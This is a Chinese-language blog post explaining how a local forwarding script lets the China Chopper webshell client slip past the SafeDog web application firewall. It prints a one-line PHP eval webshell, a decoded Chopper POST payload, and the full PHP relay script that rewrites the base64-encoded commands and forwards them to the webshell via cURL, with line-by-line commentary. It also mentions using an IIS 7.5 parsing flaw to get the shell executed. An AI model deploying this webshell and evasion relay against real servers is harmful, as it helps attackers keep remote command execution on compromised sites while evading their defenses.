本地转发过狗原理

在土司发了篇水文,有朋友问本地转发过狗的原理。虽然早就用了但是一直没认真研究过,借此机会研究一下。脚本非原创,链接文末贴出。

发现安全狗检测特征

网站存在安全狗的情况下即使上传了一句话菜刀也连不上,尤其是iis7.5解析漏洞,xx.jpg/.php解析了一句话并且安全狗不拦截,但是连不上shell就很头疼。
首先要知道安全狗是如何检测并拦截的。“经过分析发现安全狗对菜刀的HTTP进行了拦截,菜刀的POST数据里面对eval数据进行了base64编码,安全狗也是利用该特征进行检测的。”这是脚本作者原话(这里不确定是否为原作者,因为我只是在他博客看到的文章。)
具体安全狗是否是利用该特征对菜刀的http进行检测的,我没有研究过,但是取消掉base64编码安全狗的确不拦截了,所以这里就认为是利用该特征进行检测。

菜刀post数据分析

研究转发脚本先对菜刀的post数据分析一下,方便理解脚本。
利用wireshark对菜刀抓包分析发现,当我们自写脚本执行print(“test”)时,菜刀的post数据内容为:

1
test=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

这里的test,为我们上传的一句话的密码”<?php @eval($_POST[‘test’]); ?>”。
可以看到数据包的内容,菜刀将编码的部分解码然后发送给服务端(编码是为了防止特殊字符导致执行出现错误)。将后面的base64编码内容解码

1
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();

都很容易理解就不废话了。

转发脚本原理

为了便于理解我画了一张图
原理
转发脚本源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php $target="";//webshell地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
// echo $pp;
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

先分析foreach这一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
foreach($_POST as $k=>$v)
{
if(strstr($v, "base64_decode"))
{
$v=str_replace("base64_decode(","",$v);
$v=str_replace("))",")",$v);
}else
{
if($k==="z0")
$v=base64_decode($v);
}
$pp=$k."=".urlencode($v);
// echo $pp;
if($i!=0)
{
$poststr=$poststr."&".$pp;
}
else
{
$poststr=$pp;
}
$i=$i+1;
}

去除$_POST数组中的键值,利用strstr函数匹配到base64_decode函数并返回剩下的字符串,然后取出z0的值base64_decode解码。经过第一个if条件语句处理完以后数据变为test=@eval($_POST[z0]);@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“->|”);;print(“hello PHP!”);;echo(“|<-“);die();将数据urlencode(服务端接收参数数据时会自动解码),剩下的的代码就是将两段数据用&连接起来。

1
2
3
4
5
6
7
8
9
10
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING']; //获取url?后的值
curl_setopt($ch, CURLOPT_URL, $curl_url);//设置curl传输选项
curl_setopt($ch, CURLOPT_POST, 1);//发送post请求
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);// 全部数据使用HTTP协议中的 "POST" 操作来发送
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//TRUE 将curl_exec()获取的信息以字符串返回,而不是直接输出。
$result = curl_exec($ch);//执行
curl_close($ch);//关闭
echo $result;
?>

emmmm,cURL我理解为就是去访问shell地址的页面。这里我将注释写到了代码后面。
这里有个地方没有深入了解,就是为什么post的数据需要urlencode,我测试的时候去掉了该编码函数,菜刀连接提示页面返回信息有误,不知道是代码的原因还是不编码的话就被安全狗给拦截了。希望有懂的师傅指点一下。

参考文章:
h4ck0ne
中国菜刀原理

任重而道远

文章目录
  1. 1. 发现安全狗检测特征
  2. 2. 菜刀post数据分析
  3. 3. 转发脚本原理
    1. 3.1. 任重而道远